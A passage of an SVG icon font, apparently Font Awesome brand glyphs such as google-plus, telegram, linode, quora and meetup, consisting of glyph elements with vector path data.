9.71484 20.2852 21.1426v32.5703zM345.143 -0.858398 +c0 11.1436 -8.85645 20.8574 -20.2852 20.8574s-20.2861 -9.71484 -20.2861 -20.8574v-32.5703c0 -11.1436 8.85742 -21.1426 20.2861 -21.1426s20.2852 10 20.2852 21.1426v32.5703zM421.714 162c-30.8564 -59.1416 -90.2852 -102.572 -158.571 -102.572 +c-96.5703 0 -160.57 84.5723 -160.57 176.572c0 16.8574 2 33.4287 6 49.7139c-20 -33.7148 -29.7139 -72.5723 -29.7139 -111.429c0 -60.2861 24.8564 -121.715 71.4287 -160.857c5.14258 9.71387 14.8564 16.2861 26 16.2861c10 0 19.4277 -5.71387 24.5713 -14.2861 +c5.42871 8.57129 14.5703 14.2861 24.8574 14.2861c10 0 19.4277 -5.71387 24.5713 -14.2861c5.42871 8.57129 14.8564 14.2861 24.8574 14.2861c10 0 19.4287 -5.71387 24.8574 -14.2861c5.14258 8.57129 14.5713 14.2861 24.5723 14.2861 +c10.8564 0 20.8564 -6.57227 25.7139 -16c43.4268 36.2861 68.5693 92 71.4258 148.286zM432.286 261.714c0 53.7139 -34.5713 105.714 -92.5723 105.714c-30.2852 0 -58.5713 -15.1426 -78.8564 -36.8564c-19.9951 -66.3828 -27.4473 -136.571 41.4287 -136.571 +c28.8047 0 97.3564 28.5381 84.2861 -36.8574c28.8564 26 45.7139 65.7148 45.7139 104.571z" /> + <glyph glyph-name="google-plus" unicode="" horiz-adv-x="512" +d="M256 440c136.9 0 248 -111.1 248 -248s-111.1 -248 -248 -248s-248 111.1 -248 248s111.1 248 248 248zM185.3 68c71.2998 0 118.8 50.4004 118.8 121.2c0.000976562 0.140625 0.00195312 0.182617 0.00195312 0.323242c0 6.96289 -0.65332 13.7744 -1.90137 20.377 +h-116.9v-42.6006h70.1006c-5.2002 -34.2002 -37.5 -53.2998 -70.1006 -53.2998c-43 0 -77.2002 35.5 -77.2002 78.0996c0 42.6006 34.3008 78.1006 77.2002 78.1006c18.1006 0 36.2002 -6.2002 49.4004 -19.1006l33.5996 32.6006 +c-22.8994 21.2998 -51.7002 32.2998 -83 32.2998c-68.4375 0 -124 -55.5625 -124 -124s55.5625 -124 124 -124zM415.5 174.2h35.2002v35.5h-35.2002v35.5h-35.5v-35.5h-35.5v-35.5h35.5v-35.5h35.5v35.5z" /> + <glyph glyph-name="font-awesome" unicode="" +d="M400 416c26.4922 0 48 -21.5078 48 -48v-352c0 -26.4922 -21.5078 -48 -48 -48h-352c-26.4922 0 -48 21.5078 -48 48v352c0 26.4922 21.5078 48 48 48h352zM336 136v160c-31.5996 -11.2002 -41.2002 -16 -59.7998 -16c-31.4004 0 -43.4004 16 -74.6006 16 +c-25.3994 0 -37.3994 -10.4004 -57.5996 -14.4004v6.40039c0 8.83105 -7.16895 16 -16 16s-16 -7.16895 -16 -16v-192c0 -8.83105 7.16895 -16 16 -16s16 7.16895 16 16v153.6c20.2002 4 32.2002 14.4004 57.5996 14.4004c31.4004 0 43.2002 -16 74.6006 -16 +c10.2002 0 17.7998 1.40039 27.7998 4.59961v-96c-10 -3.19922 -17.5996 -4.59961 -27.7998 -4.59961c-31.4004 0 -43.4004 16 -74.6006 16c-8.91309 -0.0322266 -17.5195 -1.44336 -25.5996 -4v-32c7.86035 2.58398 16.2559 4.00195 24.9756 4.00195 +c0.208008 0 0.416016 0 0.624023 -0.00195312c31.4004 0 43.2002 -16 74.6006 -16c18.5996 0 28.2002 4.7998 59.7998 16z" /> + <glyph glyph-name="linode" unicode="" +d="M437.4 221.7c0.599609 -2 -8.80078 -66.2998 -9.7002 -72.7998c0 -0.900391 -0.5 -1.7002 -1.10059 -2l-54.5996 -43.7002c-1.09961 -0.900391 -2.59961 -0.900391 -3.7002 0l-20.2998 14l-2.2998 -33.4004c0 -0.899414 -0.200195 -1.7002 -1.10059 -2.2998 +l-66.8994 -53.4004c-1.10059 -0.899414 -2.90039 -0.899414 -4 0l-28 23.7002l2 -46c0 -0.899414 -0.200195 -1.7002 -1.10059 -2.2998l-83.6992 -66.9004c-0.600586 -0.299805 -1.10059 -0.599609 -1.7002 -0.599609c-0.900391 0.299805 -1.7002 0.299805 -2.2998 0.900391 +l-65.1006 69.0996c-1.5 1.40039 -15.5 72 -16.8994 79.0996c-0.300781 1.10059 0.5 2.5 1.39941 3.10059l17.4004 10.5996c-3.40039 3.2002 -26.5 23.4004 -27.1006 26.2998l-20.5996 100.301c-0.299805 1.09961 0.299805 2.5 1.7002 3.39941l26.8994 12.9004 +c-4.59961 3.5 -37.6992 27.5 -38.5996 30.8994l-27.4004 133.101c-0.299805 1.7002 0.600586 3.09961 2 3.7002l123.7 38.5996c0.600586 0 1.40039 0 2.2998 -0.299805l90.6006 -43.7002c0.799805 -0.599609 1.7002 -1.7002 1.7002 -2.59961l5.69922 -132.301 +c0 -1.19922 -0.599609 -2.2998 -1.69922 -2.89941l-33.7002 -17.4004l36 -24.2998c0.799805 -0.299805 1.39941 -1.40039 1.39941 -2.2998l1.40039 -35.1006l34.5996 21.2002c0.800781 0.600586 2.2002 0.600586 3.10059 0l24 -16l0.899414 31.4004 +c0 0.899414 0.5 2 1.40039 2.59961l58.9004 36c1.09961 0.600586 2.19922 0.600586 3.09961 0l70 -38.5996c0.5 -0.600586 1.09961 -1.10059 1.40039 -2zM232.6 216.9l-100.6 -57.2002l14 -96.6006l90.5996 61.2002zM224.9 396.9l-120.9 -46.6006l19.7002 -134.8 +l106.6 55.4004zM44 274.9l73.0996 -57.2002l-19.3994 132.899l-79.7002 49.4004zM74.5996 127.1l64.8008 -60.7998l-13.7002 93.4004l-70 58.2998zM98.9004 9.40039l57.6992 -61.2002l-9.69922 67.3994l-61.7002 60.9004zM163.4 -55.0996l78.1992 62.2998l-3.09961 70 +l-85.7002 -61.4004zM245.4 60l27.0996 -22.9004l-0.599609 68.3008l-29.4004 22.5996c0 -2.2998 1.2002 -6.2998 -1.09961 -8l-22.3008 -14.9004l24.3008 -20c2.89941 -2.19922 2 -21.6992 2 -25.0996zM339.7 85.4004l4.2002 66.8994l-65.7002 -46.8994l0.599609 -68.6006z +M367.4 111.1l5.7998 66.6006l-64.6006 40.5996l-0.599609 -30l41.2002 -27.2002c0.799805 -0.599609 1.39941 -1.69922 1.09961 -2.59961l-2 -34zM422 150.9l8.5 63.3994l-51.0996 -36.5996l-5.7002 -65.1006z" /> + <glyph glyph-name="quora" unicode="" +d="M440.5 61.2998c1.7998 -18 -7.2002 -93.2998 -89 -93.2998c-49.5 0 -75.5 28.7002 -95.2002 62.2998c-117.7 -32.5996 -249 54.9004 -249 189c0 117 98 196.7 197.7 196.7c101.8 0 198.5 -79.2002 198.4 -196.7c0 -65.5 -30.5 -118.8 -74.7002 -153 +c14.2002 -21.5996 29 -35.7998 49.5 -35.7998c22.5 0 31.5 17.2998 33 30.7998h29.2998zM297 118.8c11.2998 24.9004 16.7998 58.7002 16.7002 100.5c0 104.2 -32.5 157.7 -108.7 157.7c-75 0 -107.5 -53.5 -107.5 -157.9c0 -103.699 32.5 -156.699 107.5 -156.699 +c12 0 22.7002 1.19922 32.7002 4.19922c-15.5 30.5 -33.7002 61.3008 -69.2002 61.3008c-6.7998 0 -13.5996 -1 -19.7998 -4l-12.2002 24.2998c14.7002 12.7998 38.5 22.7998 69 22.7998c47.7998 0 72 -23 91.5 -52.2002z" /> + <glyph glyph-name="free-code-camp" unicode="" horiz-adv-x="576" +d="M97.2197 351.79c-43.2197 -41.6201 -64.9697 -92.5898 -64.8193 -154.021c0.15918 -68 23.0293 -122.67 67.4795 -165c9.33984 -8.34961 13.2002 -14.9199 13.2002 -20.5498c0 -2.75 -1.90039 -5.62012 -3.81055 -8.37988 +c-2.19141 -2.1543 -5.12598 -3.56836 -8.36914 -3.83984c-10.2803 0 -24.6807 12.1396 -43.4707 35.79c-36.5898 44.8701 -53.1992 94.3398 -54.0596 161.87s20.3096 113.34 61.79 160.6c14.9199 16.9004 27.3594 25.6904 35.8398 25.6904 +c3.12402 -0.0712891 6.03027 -1.11914 8.38965 -2.83984c1.91016 -1.91016 3.83008 -4.66016 3.83008 -7.41992c0 -4.78027 -5.63965 -11.25 -16 -21.9004zM239.47 27.9297c0.580078 -0.370117 0.910156 -0.549805 0.910156 -0.549805zM333.26 27.3799l0.169922 0.129883 +c-0.189453 -0.129883 -0.259766 -0.179688 -0.169922 -0.129883zM336.39 185.56c16.2305 -4.14941 24.04 24.04 30.0303 30.0508c84.71 -110.101 -27.5098 -184.45 -33 -188.101c3.86035 3.04004 44.3301 49.7705 21.5801 76.5498 +c-1 1.03027 -67.2998 -20.0596 -54.8398 53.54c8.30957 48.6807 -7.60059 71.1309 -7.60059 71.1309c-17.9697 -37.29 -32.5 -53.8604 -43.5 -72.1602c-56.9492 -92.9404 -16.2793 -124.29 -9.5498 -128.641c-10.54 6.5 -108.27 70.8799 -34 175.23 +c78.3701 110.189 62.8301 159.57 62.8301 159.57c118.46 -94.2803 51.8105 -173.021 68.0498 -177.171zM510.88 358.31c41.4404 -47.3096 62.6699 -93.1592 61.75 -160.649s-17.4697 -117.021 -54.0596 -161.87c-18.79 -23.6602 -33.1904 -35.79 -43.4707 -35.79 +c-3.24219 0.279297 -6.17676 1.69629 -8.36914 3.84961c-1.91016 2.76074 -3.81055 5.63086 -3.81055 8.38086c0.0205078 5.62988 3.86035 12.1992 13.2002 20.5498c44.4795 42.3701 67.3203 97 67.4795 165c0.180664 61.4697 -21.5898 112.45 -64.8193 154.06 +c-10.4004 10.6406 -16 17.1201 -16 21.9004c0 2.75977 1.91992 5.50977 3.83008 7.41992c2.35938 1.7207 5.26562 2.76855 8.38965 2.83984c8.51953 0 21 -8.79004 35.8799 -25.6904z" /> + <glyph glyph-name="telegram" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM369.8 270.1c3.60059 16.8008 -6.09961 23.5 -17.2002 19.5l-239.1 -92.1992c-16.4004 -6.40039 -16.0996 -15.5 -2.7998 -19.7002l61.2002 -19.1006l142 89.4004 +c6.59961 4.40039 12.6992 1.90039 7.69922 -2.5l-114.899 -103.8l-4.40039 -63.1006c6.40039 0 9.2002 2.80078 12.5 6.10059l29.9004 28.7998l62 -45.7002c11.2998 -6.39941 19.3994 -3.09961 22.3994 10.5z" /> + <glyph glyph-name="bandcamp" unicode="" horiz-adv-x="512" +d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM304.2 113.9l84.7002 156.1h-181l-84.7002 -156.1h181z" /> + <glyph glyph-name="grav" unicode="" horiz-adv-x="512" +d="M301.1 236c4.40039 -4.40039 4.40039 -11.9004 0 -16.2998l-9.69922 -9.7002c-4.40039 -4.7002 -11.9004 -4.7002 -16.6006 0l-10.5 10.5c-4.39941 4.7002 -4.39941 11.9004 0 16.5996l9.7002 9.7002c4.40039 4.40039 11.9004 4.40039 16.5996 0zM270.9 255.7 +c-2.7002 -2.7998 -7.40039 -2.7998 -10.5 0c-2.80078 3 -2.80078 7.7002 0 10.5c3 3 7.69922 3 10.5 0c3 -2.7002 3 -7.5 0 -10.5zM244.9 250.4c2.7998 3 7.5 3 10.5 0c2.7998 -2.7002 2.7998 -7.40039 0 -10.2002c-3 -3 -7.7002 -3 -10.5 0c-3 2.7002 -3 7.39941 0 10.2002 +zM317.4 263.7c-19.9004 14.3994 -33.8008 43.2002 -11.9004 68.0996c21.5996 24.9004 40.7002 17.2002 59.7998 -0.799805c11.9004 -11.2998 29.2998 -24.9004 17.2002 -48.2002c-12.5 -23.5 -45.0996 -33.2002 -65.0996 -19.0996zM365.1 308.2 +c-8.89941 10 -23.2998 -6.90039 -15.5 -16.1006c7.40039 -9 32.1006 -2.39941 15.5 16.1006zM504 192c0 -137 -111 -248 -248 -248s-248 111 -248 248s111 248 248 248s248 -111 248 -248zM437.8 149.4c2.5 16.0996 -20.2002 16.5996 -25.2002 25.6992 +c-13.5996 24.1006 -27.6992 36.8008 -54.5 30.4004c11.6006 8 23.5 6.09961 23.5 6.09961c0.300781 6.40039 0 13 -9.39941 24.9004c3.89941 12.5 0.299805 22.4004 0.299805 22.4004c15.5 8.59961 26.7998 24.3994 29.0996 43.1992 +c3.60059 31 -18.7998 59.2002 -49.7998 62.8008c-22.0996 2.5 -43.7002 -7.7002 -54.2998 -25.7002c-23.2002 -40.1006 1.40039 -70.9004 22.4004 -81.4004c-14.4004 1.40039 -34.3008 11.9004 -40.1006 34.2998c-6.59961 25.7002 2.7998 49.8008 8.90039 61.4004 +c0 0 -4.40039 5.7998 -8 8.90039c0 0 -13.7998 0 -24.6006 -5.30078c11.9004 15.2002 25.2002 14.4004 25.2002 14.4004c0 6.40039 -0.599609 14.9004 -3.59961 21.5996c-5.40039 11 -23.7998 12.9004 -31.7002 -2.7998c0.0996094 0.200195 0.299805 0.400391 0.400391 0.5 +c-5 -11.8994 -1.10059 -55.8994 16.8994 -87.2002c-2.5 -1.39941 -9.09961 -6.09961 -13 -10c-21.5996 -9.69922 -56.2002 -60.2998 -56.2002 -60.2998c-28.1992 -10.7998 -77.1992 -50.8994 -70.5996 -79.7002c0.299805 -3 1.40039 -5.5 3 -7.5 +c-2.7998 -2.19922 -5.5 -5 -8.2998 -8.2998c-11.9004 -13.7998 -5.2998 -35.2002 17.7002 -24.3994c15.7998 7.19922 29.5996 20.1992 36.2998 30.3994c0 0 -5.5 5 -16.2998 4.40039c27.6992 6.59961 34.2998 9.39941 46.1992 9.09961c8 -3.89941 8 34.2998 8 34.2998 +c0 14.7002 -2.19922 31 -11.0996 41.5c12.5 -12.1992 29.0996 -32.6992 28 -60.5996c-0.799805 -18.2998 -15.2002 -23 -15.2002 -23c-9.09961 -16.5996 -43.2002 -65.9004 -30.3994 -106c0 0 -9.7002 14.9004 -10.2002 22.0996 +c-17.4004 -19.3994 -46.5 -52.2998 -24.6006 -64.5c26.6006 -14.6992 108.801 88.6006 126.2 142.301c34.6006 20.7998 55.4004 47.2998 63.9004 65c22 -43.5 95.2998 -94.5 101.1 -59z" /> + <glyph glyph-name="etsy" unicode="" horiz-adv-x="384" +d="M384 100c-1.75 -10.75 -13.75 -110 -15.5 -132c-117.879 4.29883 -219.895 4.74316 -368.5 0v25.5c45.457 8.94824 60.627 8.01855 61 35.25c1.79297 72.3223 3.52441 244.143 0 322c-1.0293 28.46 -12.1299 26.7646 -61 36v25.5 +c73.8857 -2.3584 255.933 -8.55078 362.999 3.75c-3.5 -38.25 -7.75 -126.5 -7.75 -126.5h-23.249c-11.0527 42.835 -18.7588 90.5 -54.75 90.5h-137c-10.25 0 -10.75 -3.5 -10.75 -9.75v-163.75c58 -0.5 88.5 2.5 88.5 2.5c29.7695 0.951172 27.5596 8.50195 40.75 65.251 +h25.75c-4.40723 -101.351 -3.91016 -61.8291 -1.75 -160.25h-25.75c-9.15527 40.0859 -9.06543 61.0449 -39.501 61.5c0 0 -21.5 2 -88 2v-139c0 -26 14.25 -38.25 44.25 -38.25h89.251c63.6357 0 66.5645 24.9961 98.751 99.75h22.249v-0.000976562z" /> + <glyph glyph-name="imdb" unicode="" +d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM21.2998 218.8h-0.299805c0.0996094 0.100586 0.200195 0.299805 0.299805 0.400391v-0.400391zM97 128.2v127.8h-33v-127.8h33z +M210.2 128.2v127.8h-43l-7.60059 -59.9004c-2.69922 20 -5.39941 40.1006 -8.69922 59.9004h-42.8008v-127.8h29v84.5l12.2002 -84.5h20.6006l11.5996 86.3994v-86.3994h28.7002zM221.6 128.2c86.1006 -0.100586 75 -6 75 82.5c0 8.09961 0.300781 16.7998 -1.39941 24.3994 +c-4.2998 22.5 -31.4004 20.9004 -49 20.9004h-24.6006v-127.8zM382.5 157.4v36c0 17.2998 -0.799805 30.0996 -22.2002 30.0996c-8.89941 0 -14.8994 -2.7002 -20.8994 -9.2002v41.7002h-31.7002v-127.8h29.7998l1.90039 8.09961 +c5.69922 -6.7998 11.8994 -9.7998 20.8994 -9.7998c19.7998 0 22.2002 15.2002 22.2002 30.9004zM265 218.1v-49.2998c0 -9.7002 1.90039 -18.7002 -10.2998 -18.3994v83.6992c11.8994 0 10.2998 -6.2998 10.2998 -16zM350.5 192v-32.7002 +c0 -5.39941 1.59961 -14.3994 -6.2002 -14.3994c-1.59961 0 -3 0.799805 -3.7998 2.39941c-2.2002 5.10059 -1.09961 44.1006 -1.09961 44.7002c0 3.7998 -1.10059 12.7002 4.89941 12.7002c7.2998 0 6.2002 -7.2998 6.2002 -12.7002z" /> + <glyph glyph-name="ravelry" unicode="" horiz-adv-x="512" +d="M498.252 213.777c0.129883 -0.613281 0.322266 -1.21777 0.561523 -1.78223v-37.0557c-0.194336 -0.300781 -0.516602 -0.583008 -0.552734 -0.900391c-0.619141 -5.36426 -0.837891 -10.8076 -1.87012 -16.0869c-2.06934 -10.6074 -4.15723 -21.2393 -7.0166 -31.6523 +c-4.94531 -18.0205 -12.7578 -34.8809 -22.2998 -50.9258c-8.94336 -15.126 -19.4043 -28.9668 -31.4268 -41.6387c-3.74609 -3.92188 -7.54688 -7.80078 -11.5107 -11.5c-5.31152 -4.95703 -10.5146 -10.1094 -16.2998 -14.457 +c-9.3418 -7.02344 -18.9883 -13.6533 -28.7373 -20.1006c-15.083 -9.81543 -31.6211 -17.9053 -48.9512 -23.8174c-15.3828 -5.38281 -31.1533 -9.38574 -47.4893 -10.7178c-2.52734 -0.206055 -5.02051 -0.753906 -7.52734 -1.14258h-32.2891 +c-0.358398 0.245117 -0.762695 0.436523 -1.18945 0.55957c-6.1377 0.620117 -12.3418 0.863281 -18.4121 1.87305c-13.8301 2.22949 -27.5977 5.58398 -40.6416 9.83496c-19.5498 6.43359 -38.4463 15.0176 -55.8994 25.2773 +c-15.0488 8.79004 -28.9365 18.9688 -41.7871 30.5859c-9.6875 8.70605 -18.3936 18.0898 -26.3584 28.416c-9.38184 12.1963 -17.4385 25.4316 -24 39.5283c-7.5918 16.6592 -13.3467 34.7812 -16.7295 53.2998c-2.35547 13.1611 -3.85059 26.5459 -4.4248 40.2402 +c-0.136719 3.0332 -0.209961 5.74121 -0.209961 8.80859c0 9.05566 0.599609 17.9717 1.76172 26.7119c1.52637 11.874 4.15625 23.6367 7.69043 34.7588c5.05762 15.7021 12.0283 30.7871 20.4941 44.6006c9.58203 15.9961 20.7793 30.6025 33.6484 43.9502 +c9.55469 9.83496 19.7539 19.0605 29.9268 28.2676c5.70605 5.1582 11.8066 9.9082 17.9736 14.5186c12.0029 9.04004 24.6963 17.1025 38.0801 24.1572c12.5137 6.63281 25.9795 12.1963 39.7686 16.3555c10.9453 3.41016 22.5254 5.84375 34.2559 7.09961 +c2.42773 0.225586 4.82617 0.761719 7.23633 1.15039c10.7627 -0.00195312 21.5254 0 32.2881 0.00585938c0.299805 -0.195312 0.583984 -0.516602 0.899414 -0.552734c6.87793 -0.81543 13.8467 -1.16797 20.627 -2.48242 +c11.2432 -2.18359 22.4971 -4.51465 33.5156 -7.61523c19.999 -5.78125 39.2266 -14.2031 56.7227 -24.668c17.2832 -10.0947 32.9639 -22.1357 47.1133 -36.1152c6.71973 -6.90527 12.9209 -14.0508 18.8174 -21.6895c13.4639 -16.959 24.0283 -36.4561 30.874 -57.5 +c3.88867 -11.8086 7.16211 -24.2148 9.62207 -36.5996c2.0459 -10.1748 2.53809 -20.6602 3.74609 -31zM337.135 214.927l0.00488281 67.2695c-35.2686 0 -53.1152 -9.36719 -62.04 -36.1895v31.9316h-73.5176v-190.738h73.5127v93.667 +c0 22.1396 6.37012 37.04 33.5703 37.04c11.8984 0 28.4697 -2.98047 28.4697 -2.98047z" /> + <glyph glyph-name="sellcast" unicode="" +d="M353.4 416c52.0996 0 94.6992 -42.5996 94.6992 -94.5996v-258.801c0 -52 -42.5996 -94.5996 -94.6992 -94.5996h-258.7c-52.1006 0 -94.7002 42.5996 -94.7002 94.7002v258.7c0 52 42.5996 94.5996 94.7002 94.5996h258.7zM303.4 99.5996 +c27.8994 48.2002 11.1992 110.5 -37.2002 138.5c-18.6006 10.8008 0.0996094 -0.0996094 -18.5 10.7002c-25 14.4004 -46.2002 -23.2998 -21.6006 -37.5c18 -10.2002 0.800781 -0.399414 18.6006 -10.5996c27.5996 -16 37.2002 -51.7998 21.2998 -79.4004 +c-16 -27.5996 -51.7998 -37.2002 -79.4004 -21.2998c-18.5996 10.7998 0.100586 -0.0996094 -18.5 10.7002c-10.2998 6 -23.5996 2.39941 -29.5 -7.90039l-15.6992 -27.2002c-12.6006 -21.7998 19.3994 -53 42.2998 -13.1992c48.2998 -27.7002 110.3 -11 138.2 37.1992z +M325.2 308.4c14.2998 24.7998 -23.4004 46.3994 -37.7002 21.5l-4.7998 -8.40039c-48.2998 27.7002 -110.3 11 -138.2 -37.2002c-27.7998 -48.2998 -11.0996 -110.6 37.0996 -138.399c18.6006 -10.8008 -0.0996094 0.0996094 18.5 -10.7002 +c25 -14.4004 46.2002 23.2998 21.6006 37.5c-0.100586 0 -18.6006 10.5996 -18.6006 10.5996c-27.5996 16 -37.2998 51.7998 -21.2998 79.4004c16 27.5996 51.7998 37.2002 79.4004 21.2998c18.5996 -10.7998 -0.100586 0.0996094 18.5 -10.7002 +c10.2002 -5.09961 20 -2.89941 26.5 3.60059c2.7002 2.69922 2 2 19 31.5z" /> + <glyph glyph-name="superpowers" unicode="" +d="M448 416l-87.2002 -87c39.7002 -38.7002 61.2002 -92.7002 57.7002 -148.2c-5.40039 -93 -76.9004 -167.3 -168.7 -179.8c-83.2998 -11 -166.5 -22 -249.8 -33l86.7998 86.7998c-39.7998 38.7002 -61.0996 92.7002 -57.7998 148.2c5.7002 93.2998 77 167.5 169 180 +c83.2002 11 166.7 22 250 33zM368.3 183.7c4.40039 80 -56.7998 146.3 -136.1 151c-78.7002 4.7998 -148.5 -55.2998 -153 -134.5c-4.40039 -80 56.7998 -146.3 136.3 -151c78.7998 -4.7002 148.6 55 152.8 134.5z" /> + <glyph glyph-name="wpexplorer" unicode="" horiz-adv-x="512" +d="M512 192c0 -141.2 -114.7 -256 -256 -256c-141.2 0 -256 114.7 -256 256s114.7 256 256 256s256 -114.7 256 -256zM480 192c0 123.2 -100.3 224 -224 224c-123.5 0 -224 -100.5 -224 -224s100.5 -224 224 -224s224 100.5 224 224zM160.9 323.4l86.8994 -37.1006 +l-37.0996 -86.8994l-86.9004 37.0996zM270.9 154.3l46.5996 -94h-14.5996l-50 100l-48.9004 -100h-14l51.0996 106.9l-22.2998 9.39941l6 14l68.6006 -29.0996l-6 -14.2998zM259.1 270.6l68.6006 -29.3994l-29.4004 -68.2998l-68.2998 29.0996zM339.4 227.7 +l54.5996 -23.1006l-23.4004 -54.2998l-54.2998 23.1006z" /> + <glyph glyph-name="meetup" unicode="" horiz-adv-x="512" +d="M99 33.7002c1.09961 -5.7002 -2.2998 -11.1006 -8 -12.2998c-5.40039 -1.10059 -10.9004 2.2998 -12 8c-1.09961 5.39941 2.2998 11.0996 7.7002 12.2998c5.39941 1.2002 11.0996 -2.2998 12.2998 -8zM242.1 -37.7002c6.60059 4.60059 15.5 2.7998 19.7002 -3.7002 +c4.60059 -6.59961 2.90039 -15.3994 -3.39941 -20c-6.60059 -4.59961 -15.4004 -2.89941 -20 3.7002c-4.30078 6.60059 -2.60059 15.4004 3.69922 20zM156.1 424.6c-6.2998 -1.5 -12.5 2.5 -13.8994 9.10059c-1.2002 6.2998 2.7998 12.5996 9.09961 14 +c6.2998 1.5 12.6006 -2.5 13.7002 -9.10059c1.40039 -6.2998 -2.59961 -12.5996 -8.90039 -14zM34.4004 221.7c10 -7.10059 12.5996 -20.7998 5.69922 -31.2002c-6.89941 -10.2998 -20.5996 -12.7998 -30.5996 -5.7002c-10 6.90039 -12.5996 20.9004 -5.7002 30.9004 +c6.90039 10.2998 20.6006 12.8994 30.6006 6zM306.4 392.6c-10.3008 -6.2998 -23.7002 -2.89941 -29.7002 7.40039c-6.2998 10.5996 -2.90039 24.2998 7.39941 30.5996c10.3008 6.30078 23.7002 2.90039 30 -7.69922c6 -10.3008 2.90039 -24 -7.69922 -30.3008zM115.3 334.6 +c-7.5 -5.19922 -18 -3.5 -23.0996 4.30078c-5.10059 7.69922 -3.40039 18.2998 4.2998 23.6992c7.40039 5.10059 18 3.40039 23.0996 -4.2998c5.10059 -7.7002 3.40039 -18.2998 -4.2998 -23.7002zM487.6 178.6c7.40039 1.40039 14.8008 -3.5 16.3008 -10.8994 +c1.69922 -7.7002 -3.2002 -15.2002 -10.6006 -16.6006c-7.39941 -1.69922 -14.8994 3.2002 -16.2998 10.6006c-1.7002 7.7998 3.2002 15.2002 10.5996 16.8994zM527.3 235.4c1.40039 -5.7002 -2.2998 -11.1006 -7.7002 -12.6006 +c-5.69922 -1.09961 -11.1992 2.60059 -12.2998 8c-1.09961 5.7002 2.2998 11.5 8 12.6006c5.40039 1.09961 10.9004 -2.30078 12 -8zM447 309.1c8.2998 6 20 3.80078 25.7002 -4.89941c5.7002 -8.60059 3.7002 -20.2998 -4.60059 -26.2998 +c-8.59961 -5.7002 -20.2998 -3.7002 -26 4.89941c-5.69922 8.60059 -3.69922 20.2998 4.90039 26.2998zM440.7 169.7c26.2998 -43.1006 15.0996 -100 -26.2998 -129.101c-17.4004 -12.2998 -37.1006 -17.6992 -56.9004 -17.0996 +c-12 -47.0996 -69.4004 -64.5996 -105.1 -32.5996c-1.10059 -0.900391 -2.60059 -1.7002 -3.7002 -2.90039c-39.1006 -27.0996 -92.2998 -17.4004 -119.4 22.2998c-9.7002 14.2998 -14.5996 30.6006 -15.0996 46.9004c-65.4004 10.8994 -90 94 -41.1006 139.7 +c-28.2998 46.8994 0.600586 107.399 53.4004 114.899c25.0996 66.2002 107.6 97.6006 163.6 54.2002c67.4004 22.2998 136.301 -29.4004 130.9 -101.1c41.0996 -12.6006 52.7998 -66.9004 19.7002 -95.2002zM370.7 95.4004 +c-3.10059 20.5996 -40.9004 4.59961 -43.1006 27.0996c-3.09961 32 43.7002 101.1 40 128c-3.39941 24 -19.3994 29.0996 -33.3994 29.4004c-13.4004 0.299805 -16.9004 -2 -21.4004 -4.60059c-2.89941 -1.7002 -6.59961 -4.89941 -11.7002 0.299805 +c-6.2998 6 -11.0996 11.7002 -19.3994 12.9004c-12.2998 2 -17.7002 -2 -26.6006 -9.7002c-3.39941 -2.89941 -12 -12.8994 -20 -9.09961c-3.39941 1.7002 -15.3994 7.7002 -24 11.3994c-16.2998 7.10059 -40 -4.59961 -48.5996 -20 +c-12.9004 -22.8994 -38 -113.1 -41.7002 -125.1c-8.59961 -26.5996 10.9004 -48.5996 36.9004 -47.0996c11.0996 0.599609 18.2998 4.59961 25.3994 17.3994c4 7.40039 41.7002 107.7 44.6006 112.601c2 3.39941 8.89941 8 14.5996 5.09961 +c5.7002 -3.09961 6.90039 -9.40039 6 -15.0996c-1.09961 -9.7002 -28 -70.9004 -28.8994 -77.7002c-3.40039 -22.9004 26.8994 -26.6006 38.5996 -4c3.7002 7.09961 45.7002 92.5996 49.4004 98.2998c4.2998 6.2998 7.39941 8.2998 11.6992 8 +c3.10059 0 8.30078 -0.900391 7.10059 -10.9004c-1.40039 -9.39941 -35.1006 -72.2998 -38.9004 -87.6992c-4.59961 -20.6006 6.60059 -41.4004 24.9004 -50.6006c11.3994 -5.7002 62.5 -15.7002 58.5 11.1006zM376.4 3.09961c10.5996 7.5 24.8994 4.60059 32.2998 -6 +c7.09961 -10.5996 4.59961 -25.1992 -6 -32.5996c-10.6006 -7.09961 -24.9004 -4.59961 -32 6c-7.2002 10.5996 -4.60059 25.2002 5.7002 32.5996z" /> + <glyph glyph-name="font-awesome-alt" unicode="" +d="M400 416c26.4922 0 48 -21.5078 48 -48v-352c0 -26.4922 -21.5078 -48 -48 -48h-352c-26.4922 0 -48 21.5078 -48 48v352c0 26.4922 21.5078 48 48 48h352zM416 16v352c0 8.83105 -7.16895 16 -16 16h-352c-8.83105 0 -16 -7.16895 -16 -16v-352 +c0 -8.83105 7.16895 -16 16 -16h352c8.83105 0 16 7.16895 16 16zM201.6 296c31.2002 0 43.2002 -16 74.6006 -16c18.5996 0 28.2002 4.7998 59.7998 16v-160c-31.5996 -11.2002 -41.2002 -16 -59.7998 -16c-31.4004 0 -43.2002 16 -74.6006 16 +c-0.208008 0.00195312 -0.415039 -0.0175781 -0.623047 -0.0175781c-8.7207 0 -17.1162 -1.39844 -24.9766 -3.98242v32c8.08008 2.55664 16.6865 3.96777 25.5996 4c31.2002 0 43.2002 -16 74.6006 -16c10.2002 0 17.7998 1.40039 27.7998 4.59961v96 +c-10 -3.19922 -17.5996 -4.59961 -27.7998 -4.59961c-31.4004 0 -43.2002 16 -74.6006 16c-25.3994 0 -37.3994 -10.4004 -57.5996 -14.4004v-153.6c0 -8.83105 -7.16895 -16 -16 -16s-16 7.16895 -16 16v192c0 8.83105 7.16895 16 16 16s16 -7.16895 16 -16v-6.40039 +c20.2002 4 32.2002 14.4004 57.5996 14.4004z" /> + <glyph glyph-name="accessible-icon" unicode="" +d="M423.9 192.2l-12.9004 -157.3c-3.2998 -40.7002 -63.9004 -35.1006 -60.5996 4.89941l10 122.5l-41.1006 -2.2998c10.1006 -20.7002 15.7998 -43.9004 15.7998 -68.5c0 -41.2002 -16.0996 -78.7002 -42.2998 -106.5l-39.2998 39.2998 +c57.9004 63.7002 13.0996 167.2 -74 167.2c-25.9004 0 -49.5 -9.90039 -67.2002 -26l-39.2998 39.2998c22 20.7002 50.0996 35.1006 81.4004 40.2002l75.2998 